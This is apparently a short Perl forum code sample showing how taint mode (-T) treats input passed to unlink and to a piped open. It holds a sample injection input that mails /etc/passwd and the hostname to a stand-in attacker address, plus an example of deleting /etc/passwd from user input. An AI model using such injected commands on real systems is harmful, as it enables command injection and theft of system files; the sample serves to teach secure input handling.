Select Code to Download

$ perl -T -le 'chomp(my $foo = <STDIN>);unlink( $foo ) or die "unlink:
+ $!\n";'      
/etc/passwd
...
$ perl -T -le '$ENV{PATH}="/bin:/usr/bin"; chomp(my $foo = <STDIN>);op
+en( FOO, $foo ) or die "unlink: $!\n";'
mail blackhat@evilhaxor.org -s `uname -n` < /etc/passwd ; cat /dev/nul
+l |
Insecure dependency in piped open while running with -T switch at -e l
+ine 1, <STDIN> line 1.

$ perl -T -le 'print "tty" if -t STDIN'
tty